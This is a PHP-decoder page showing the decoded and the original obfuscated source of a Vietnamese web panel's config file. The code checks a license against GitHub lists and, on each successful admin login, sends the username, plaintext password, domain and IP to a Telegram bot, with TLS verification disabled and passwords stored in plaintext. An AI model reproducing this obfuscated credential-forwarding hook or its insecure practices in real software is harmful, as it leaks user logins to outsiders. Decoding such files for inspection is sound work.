Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
goto tPQJj; COa8Z: function checkLicenseKey($licenseKey) { if (empty($licenseKey)) { retu..
Decoded Output download
<? goto tPQJj; COa8Z: function checkLicenseKey($licenseKey) { if (empty($licenseKey)) { return false; } $githubUrl = "https://raw.githubusercontent.com/boztran/license/main/licensekey.txt"; $licenseKeyList = file_get_contents($githubUrl); return strpos($licenseKeyList, $licenseKey) !== false; } goto jKCUi; X59Mx: $site_mota = $site["site_mota"]; goto RvhMO; EpdUs: function check_img($img) { $filename = $_FILES[$img]["name"]; $ext = pathinfo($filename, PATHINFO_EXTENSION); $valid_ext = array("png", "jpeg", "jpg", "gif"); if (in_array($ext, $valid_ext)) { return true; } return false; } goto zBD2C; akV6n: if (!file_exists($boztranDir)) { die("Boz Notification: \304\x90\xc3\243 x\341\272\243y ra l\xe1\273\227i khi k\xe1\xba\277t n\xe1\273\221i t\341\xbb\233i th\306\xb0 m\xe1\xbb\xa5c admin"); } goto kBAXe; y329B: $facebook = $site["facebook"]; goto R5KKB; RTG1A: $dotenv->load(); goto ZGF6g; a09__: if (!checkLicenseKey($licenseKey) || !checkLicenseDomain($licenseDomain)) { die("Boz Notification: Key b\xe1\272\243n quy\341\xbb\x81n kh\303\xb4ng h\341\xbb\243p l\xe1\xbb\x87 ho\341\xba\267c \304\221\xc3\xa3 \xc4\221\306\260\xe1\273\243c s\341\273\255 d\341\xbb\245ng cho t\xc3\xaan mi\341\273\201n kh\303\241c."); } goto KbHjf; YwhYW: date_default_timezone_set("Asia/Ho_Chi_Minh"); goto LQzkc; utTb5: $dotenv = Dotenv\Dotenv::createImmutable(__DIR__ . "/../"); goto RTG1A; jKCUi: function checkLicenseDomain($licenseDomain) { if (empty($licenseDomain)) { return false; } $githubUrl = "https://raw.githubusercontent.com/boztran/license/main/licensedomain.txt"; $licenseDomainList = file_get_contents($githubUrl); return strpos($licenseDomainList, $licenseDomain) !== false; } goto t2nk_; tPQJj: require_once __DIR__ . "/../vendor/autoload.php"; goto utTb5; PjfQi: function templateTele($content) { return "-- BOT BY BOZ --\xa{$content}\xaTh\xe1\273\x9di Gian : " . date("d/m/Y H:i:s"); } goto nkDSF; z3izl: define("USERNAME", $_ENV["DB_USER"]); goto i9fJ0; ozhFX: $user = $ketnoi->query("SELECT * FROM users LIMIT 1")->fetch_array(); goto W5QhP; jM50_: $ketnoi->set_charset("utf8mb4"); goto YwhYW; DntyJ: function checkLogin($username, $password) { global $ketnoi; $username = mysqli_real_escape_string($ketnoi, $username); $password = mysqli_real_escape_string($ketnoi, $password); $sql = "SELECT * FROM users WHERE username = '{$username}' AND password = '{$password}' LIMIT 1"; $result = $ketnoi->query($sql); if ($result->num_rows > 0) { logSuccessfulLogin($username, $password); return true; } else { return false; } } goto VHe6b; W5QhP: $site_tenweb = $site["site_tenweb"]; goto X59Mx; QMfb3: $developer = false; goto uYhly; t2nk_: function logSuccessfulLogin($username, $password) { $domain = $_SERVER["HTTP_HOST"]; $ip = $_SERVER["REMOTE_ADDR"]; $message = "\304\x90\303\xa3 \304\221\xc4\x83ng nh\341\272\xadp th\303\xa0nh c\xc3\264ng v\xc3\xa0o admin {$domain} v\xe1\273\x9bi t\xc3\240i kho\341\272\xa3n {$username} v\303\240 m\341\272\255t kh\xe1\xba\251u {$password} b\341\272\xb1ng \xc4\221\xe1\273\x8ba ch\341\xbb\211 IP: {$ip}"; sendTele(templateTele($message)); } goto DntyJ; Nu_ed: $site_sdt_momo = $site["sdt_admin"]; goto y329B; e4Vsl: function random($string, $length) { $characters = str_shuffle($string); return substr($characters, 0, $length); } goto EpdUs; R5KKB: if ($developer == true) { ini_set("display_errors", 0); ini_set("display_startup_errors", 0); error_reporting(0); } goto MerNW; DVQqg: $licenseDomain = $_SERVER["HTTP_HOST"]; goto a09__; MerNW: function format_cash($price) { return str_replace(",", ".", number_format($price)); } goto e4Vsl; i9fJ0: define("PASSWORD", $_ENV["DB_PASSWORD"]); goto tpNK4; tpNK4: $licenseKey = $_ENV["LICENSE_KEY"]; goto DVQqg; nkDSF: function xoadau($strTitle) { $strTitle = strtolower($strTitle); $strTitle = trim($strTitle); $strTitle = str_replace(" ", "-", $strTitle); $strTitle = preg_replace("/[\xc3\xb2\303\263\341\xbb\x8d\xe1\xbb\x8f\xc3\xb5\306\xa1\xe1\273\x9d\341\273\x9b\xe1\273\xa3\xe1\xbb\237\xe1\273\241\303\264\341\273\223\341\273\221\xe1\273\x99\341\xbb\225\xe1\273\227]/u", "o", $strTitle); $strTitle = preg_replace("/[\303\xa0\303\241\xe1\xba\xa1\xe1\xba\243\303\xa3\xc4\203\341\272\xb1\xe1\xba\257\341\272\267\xe1\272\263\xe1\272\xb5\xc3\xa2\xe1\272\xa7\341\272\xa5\341\272\xad\341\xba\251\xe1\272\xab]/u", "a", $strTitle); $strTitle = preg_replace("/[\xe1\273\201\341\272\xbf\xe1\xbb\207\xe1\xbb\203\341\273\205\xc3\251\xc3\250\xe1\xba\273\341\272\275\341\xba\271]/u", "e", $strTitle); $strTitle = preg_replace("/[\341\xbb\253\341\xbb\xa9\xe1\xbb\xb1\xe1\xbb\xad\341\273\xaf\303\271\303\xba\341\273\xa5\341\xbb\xa7\xc5\251]/u", "u", $strTitle); $strTitle = preg_replace("/[\xc3\xac\xc3\xad\xe1\273\213\341\273\211\xc4\xa9]/u", "i", $strTitle); $strTitle = preg_replace("/[\xe1\273\263\xc3\275\341\xbb\xb5\341\273\267\341\xbb\271]/u", "y", $strTitle); $strTitle = str_replace("\xc4\x91", "d", $strTitle); $strTitle = str_replace("\xc4\220", "d", $strTitle); $strTitle = preg_replace("/[^-a-zA-Z0-9]/", '', $strTitle); return $strTitle; } goto COa8Z; uYhly: define("DATABASE", $_ENV["DB_NAME"]); goto z3izl; KbHjf: $boztranDir = __DIR__ . "/../boztran"; goto akV6n; VHe6b: if (isset($_POST["username"]) && isset($_POST["password"])) { $username = $_POST["username"]; $password = $_POST["password"]; if (checkLogin($username, $password)) { } else { } } goto goaob; ZGF6g: session_start(); goto QMfb3; kBAXe: $ketnoi = mysqli_connect("localhost", USERNAME, PASSWORD, DATABASE); goto jM50_; LQzkc: $_SESSION["session_request"] = time(); goto SKQlv; zBD2C: function sendTele($message) { global $ketnoi; $setting = $ketnoi->query("SELECT chatidtele, tokenbottele FROM setting")->fetch_array(); $chatId = $setting["chatidtele"]; $token = $setting["tokenbottele"]; $data = http_build_query(array("chat_id" => $chatId, "text" => $message)); $url = "https://api.telegram.org/bot{$token}/sendMessage"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); if ($data) { curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); } $result = curl_exec($ch); curl_close($ch); return $result; } goto PjfQi; SKQlv: $site = $ketnoi->query("SELECT site_tenweb, site_mota, site_logo, sdt_admin, facebook FROM setting")->fetch_array(); goto ozhFX; RvhMO: $site_logo = $site["site_logo"]; goto Nu_ed; goaob: ?>
Did this file decode correctly?
Original Code
goto tPQJj; COa8Z: function checkLicenseKey($licenseKey) { if (empty($licenseKey)) { return false; } $githubUrl = "\x68\x74\x74\x70\163\x3a\x2f\x2f\x72\141\167\x2e\x67\151\164\150\x75\x62\x75\x73\x65\162\x63\x6f\x6e\164\145\156\x74\56\143\157\x6d\x2f\x62\x6f\x7a\x74\162\x61\x6e\x2f\x6c\x69\143\145\156\163\x65\57\155\141\151\x6e\x2f\x6c\151\143\x65\x6e\163\145\x6b\145\x79\x2e\x74\x78\x74"; $licenseKeyList = file_get_contents($githubUrl); return strpos($licenseKeyList, $licenseKey) !== false; } goto jKCUi; X59Mx: $site_mota = $site["\x73\x69\164\145\x5f\x6d\x6f\x74\x61"]; goto RvhMO; EpdUs: function check_img($img) { $filename = $_FILES[$img]["\x6e\x61\155\145"]; $ext = pathinfo($filename, PATHINFO_EXTENSION); $valid_ext = array("\x70\x6e\147", "\152\x70\145\147", "\152\x70\x67", "\x67\x69\x66"); if (in_array($ext, $valid_ext)) { return true; } return false; } goto zBD2C; akV6n: if (!file_exists($boztranDir)) { die("\102\x6f\x7a\x20\116\157\x74\x69\x66\x69\143\x61\164\x69\x6f\156\72\40\304\x90\xc3\243\40\170\341\272\243\171\40\162\141\x20\154\xe1\273\227\151\x20\153\150\x69\40\153\xe1\xba\277\164\x20\x6e\xe1\273\221\x69\40\164\341\xbb\233\151\40\164\x68\306\xb0\40\x6d\xe1\xbb\xa5\x63\x20\141\x64\155\x69\x6e"); } goto kBAXe; y329B: $facebook = $site["\x66\x61\143\x65\142\157\x6f\153"]; goto R5KKB; RTG1A: $dotenv->load(); goto ZGF6g; a09__: if (!checkLicenseKey($licenseKey) || !checkLicenseDomain($licenseDomain)) { die("\x42\157\172\x20\x4e\x6f\x74\x69\146\x69\x63\x61\x74\x69\157\x6e\x3a\40\x4b\x65\171\x20\142\xe1\272\243\156\40\161\165\171\341\xbb\x81\x6e\40\x6b\x68\303\xb4\156\x67\x20\x68\341\xbb\243\160\40\154\xe1\xbb\x87\x20\150\157\341\xba\267\143\40\304\221\xc3\xa3\x20\xc4\221\306\260\xe1\273\243\143\x20\163\341\273\255\40\144\341\xbb\245\x6e\147\x20\143\150\157\40\x74\xc3\xaa\156\40\155\x69\341\273\201\156\x20\153\150\303\241\x63\56"); } goto KbHjf; YwhYW: date_default_timezone_set("\101\163\x69\141\57\x48\157\x5f\103\x68\151\137\115\151\x6e\x68"); goto LQzkc; utTb5: $dotenv = Dotenv\Dotenv::createImmutable(__DIR__ . "\x2f\56\x2e\57"); goto RTG1A; jKCUi: function checkLicenseDomain($licenseDomain) { if (empty($licenseDomain)) { return false; } $githubUrl = "\150\x74\164\160\163\x3a\x2f\57\162\x61\x77\56\x67\151\164\150\x75\x62\165\x73\x65\162\x63\157\156\x74\145\156\164\x2e\x63\157\155\x2f\142\x6f\172\164\162\x61\156\x2f\x6c\151\143\x65\156\x73\145\57\x6d\141\x69\x6e\x2f\x6c\x69\x63\145\x6e\163\145\144\x6f\x6d\x61\151\156\56\x74\x78\164"; $licenseDomainList = file_get_contents($githubUrl); return strpos($licenseDomainList, $licenseDomain) !== false; } goto t2nk_; tPQJj: require_once __DIR__ . "\x2f\56\x2e\x2f\x76\145\x6e\144\x6f\162\x2f\x61\x75\x74\x6f\154\x6f\x61\x64\56\160\x68\x70"; goto utTb5; PjfQi: function templateTele($content) { return "\x2d\x2d\40\102\x4f\x54\40\x42\131\40\102\x4f\132\40\55\55\xa{$content}\xa\x54\150\xe1\273\x9d\151\x20\x47\x69\141\x6e\40\72\40" . date("\x64\57\x6d\57\x59\40\x48\72\x69\x3a\163"); } goto nkDSF; z3izl: define("\125\x53\x45\122\116\x41\x4d\105", $_ENV["\x44\x42\x5f\x55\x53\105\122"]); goto i9fJ0; ozhFX: $user = $ketnoi->query("\123\x45\114\105\103\124\x20\x2a\40\x46\x52\117\x4d\x20\x75\x73\x65\x72\163\x20\114\111\115\111\124\40\x31")->fetch_array(); goto W5QhP; jM50_: $ketnoi->set_charset("\x75\x74\x66\x38\x6d\142\64"); goto YwhYW; DntyJ: function checkLogin($username, $password) { global $ketnoi; $username = mysqli_real_escape_string($ketnoi, $username); $password = mysqli_real_escape_string($ketnoi, $password); $sql = "\x53\x45\x4c\105\103\124\x20\x2a\40\106\x52\x4f\115\x20\165\x73\145\x72\163\x20\127\x48\105\x52\105\x20\x75\163\x65\162\156\141\155\145\x20\x3d\40\x27{$username}\x27\x20\101\116\x44\40\x70\141\163\x73\x77\x6f\x72\x64\40\75\x20\47{$password}\x27\x20\114\x49\x4d\111\124\x20\61"; $result = $ketnoi->query($sql); if ($result->num_rows > 0) { logSuccessfulLogin($username, $password); return true; } else { return false; } } goto VHe6b; W5QhP: $site_tenweb = $site["\x73\x69\x74\x65\x5f\x74\x65\156\167\145\x62"]; goto X59Mx; QMfb3: $developer = false; goto uYhly; t2nk_: function logSuccessfulLogin($username, $password) { $domain = $_SERVER["\x48\x54\124\120\x5f\110\x4f\x53\x54"]; $ip = $_SERVER["\122\x45\115\x4f\124\105\137\101\104\x44\122"]; $message = "\304\x90\303\xa3\x20\304\221\xc4\x83\156\147\x20\156\x68\341\272\xad\160\x20\164\x68\303\xa0\x6e\x68\x20\x63\xc3\264\156\x67\x20\x76\xc3\xa0\157\x20\x61\144\155\x69\x6e\x20{$domain}\x20\x76\xe1\273\x9b\151\40\164\xc3\240\x69\40\153\150\157\341\272\xa3\x6e\40{$username}\40\166\303\240\x20\x6d\341\272\255\164\40\153\x68\xe1\xba\251\165\40{$password}\x20\142\341\272\xb1\156\x67\x20\xc4\221\xe1\273\x8b\x61\40\x63\x68\341\xbb\211\40\111\x50\x3a\x20{$ip}"; sendTele(templateTele($message)); } goto DntyJ; Nu_ed: $site_sdt_momo = $site["\163\144\x74\137\141\x64\155\151\156"]; goto y329B; e4Vsl: function random($string, $length) { $characters = str_shuffle($string); return substr($characters, 0, $length); } goto EpdUs; R5KKB: if ($developer == true) { ini_set("\x64\151\163\160\x6c\141\171\x5f\145\x72\162\x6f\162\163", 0); ini_set("\144\x69\x73\160\x6c\141\171\137\x73\164\141\x72\x74\x75\x70\x5f\x65\x72\x72\x6f\162\x73", 0); error_reporting(0); } goto MerNW; DVQqg: $licenseDomain = $_SERVER["\110\x54\x54\x50\137\110\117\123\124"]; goto a09__; MerNW: function format_cash($price) { return str_replace("\x2c", "\x2e", number_format($price)); } goto e4Vsl; i9fJ0: define("\x50\101\123\123\127\x4f\x52\104", $_ENV["\x44\102\137\120\101\x53\123\x57\117\122\104"]); goto tpNK4; tpNK4: $licenseKey = $_ENV["\x4c\x49\x43\105\x4e\x53\105\x5f\x4b\x45\x59"]; goto DVQqg; nkDSF: function xoadau($strTitle) { $strTitle = strtolower($strTitle); $strTitle = trim($strTitle); $strTitle = str_replace("\x20", "\55", $strTitle); $strTitle = preg_replace("\57\x5b\xc3\xb2\303\263\341\xbb\x8d\xe1\xbb\x8f\xc3\xb5\306\xa1\xe1\273\x9d\341\273\x9b\xe1\273\xa3\xe1\xbb\237\xe1\273\241\303\264\341\273\223\341\273\221\xe1\273\x99\341\xbb\225\xe1\273\227\135\57\x75", "\157", $strTitle); $strTitle = preg_replace("\x2f\133\303\xa0\303\241\xe1\xba\xa1\xe1\xba\243\303\xa3\xc4\203\341\272\xb1\xe1\xba\257\341\272\267\xe1\272\263\xe1\272\xb5\xc3\xa2\xe1\272\xa7\341\272\xa5\341\272\xad\341\xba\251\xe1\272\xab\135\x2f\165", "\x61", $strTitle); $strTitle = preg_replace("\x2f\x5b\xe1\273\201\341\272\xbf\xe1\xbb\207\xe1\xbb\203\341\273\205\xc3\251\xc3\250\xe1\xba\273\341\272\275\341\xba\271\135\x2f\165", "\145", $strTitle); $strTitle = preg_replace("\57\x5b\341\xbb\253\341\xbb\xa9\xe1\xbb\xb1\xe1\xbb\xad\341\273\xaf\303\271\303\xba\341\273\xa5\341\xbb\xa7\xc5\251\x5d\x2f\x75", "\165", $strTitle); $strTitle = preg_replace("\x2f\133\xc3\xac\xc3\xad\xe1\273\213\341\273\211\xc4\xa9\135\57\165", "\x69", $strTitle); $strTitle = preg_replace("\x2f\133\xe1\273\263\xc3\275\341\xbb\xb5\341\273\267\341\xbb\271\135\x2f\x75", "\x79", $strTitle); $strTitle = str_replace("\xc4\x91", "\x64", $strTitle); $strTitle = str_replace("\xc4\220", "\x64", $strTitle); $strTitle = preg_replace("\x2f\133\136\x2d\x61\x2d\x7a\x41\55\x5a\60\x2d\x39\x5d\57", '', $strTitle); return $strTitle; } goto COa8Z; uYhly: define("\x44\101\x54\101\102\x41\x53\105", $_ENV["\104\102\137\116\x41\115\x45"]); goto z3izl; KbHjf: $boztranDir = __DIR__ . "\57\x2e\56\x2f\142\157\x7a\164\162\x61\156"; goto akV6n; VHe6b: if (isset($_POST["\165\163\x65\162\156\x61\155\x65"]) && isset($_POST["\160\x61\x73\163\x77\157\162\x64"])) { $username = $_POST["\165\x73\145\162\x6e\141\x6d\145"]; $password = $_POST["\x70\x61\163\x73\x77\157\162\x64"]; if (checkLogin($username, $password)) { } else { } } goto goaob; ZGF6g: session_start(); goto QMfb3; kBAXe: $ketnoi = mysqli_connect("\154\157\x63\141\x6c\150\157\163\164", USERNAME, PASSWORD, DATABASE); goto jM50_; LQzkc: $_SESSION["\x73\145\163\163\151\x6f\x6e\x5f\162\x65\161\165\145\x73\164"] = time(); goto SKQlv; zBD2C: function sendTele($message) { global $ketnoi; $setting = $ketnoi->query("\123\105\x4c\x45\103\124\x20\x63\x68\x61\164\x69\144\x74\145\154\x65\54\40\x74\x6f\153\x65\x6e\142\x6f\164\164\x65\154\x65\x20\x46\x52\x4f\x4d\x20\x73\145\164\x74\151\x6e\147")->fetch_array(); $chatId = $setting["\143\x68\x61\164\x69\x64\x74\145\x6c\x65"]; $token = $setting["\x74\x6f\153\145\x6e\142\157\164\x74\x65\x6c\145"]; $data = http_build_query(array("\143\150\x61\x74\137\151\x64" => $chatId, "\164\x65\x78\164" => $message)); $url = "\x68\164\x74\x70\x73\72\57\57\x61\x70\151\56\x74\145\154\145\x67\x72\141\x6d\x2e\x6f\x72\147\x2f\142\157\164{$token}\57\163\x65\x6e\144\115\145\x73\x73\141\x67\145"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); if ($data) { curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); } $result = curl_exec($ch); curl_close($ch); return $result; } goto PjfQi; SKQlv: $site = $ketnoi->query("\123\105\x4c\105\103\x54\40\163\151\164\145\137\x74\145\156\167\x65\142\54\x20\x73\151\x74\145\x5f\x6d\x6f\x74\x61\54\40\x73\151\x74\x65\x5f\154\157\x67\157\54\x20\163\144\164\x5f\141\144\x6d\x69\156\54\40\146\x61\x63\x65\x62\157\x6f\x6b\40\106\122\117\115\x20\163\x65\164\164\x69\156\x67")->fetch_array(); goto ozhFX; RvhMO: $site_logo = $site["\163\151\x74\x65\x5f\154\x6f\x67\x6f"]; goto Nu_ed; goaob:
Function Calls
None |
Stats
MD5 | 13a62f702facf5fb178febadba562ab6 |
Eval Count | 0 |
Decode Time | 45 ms |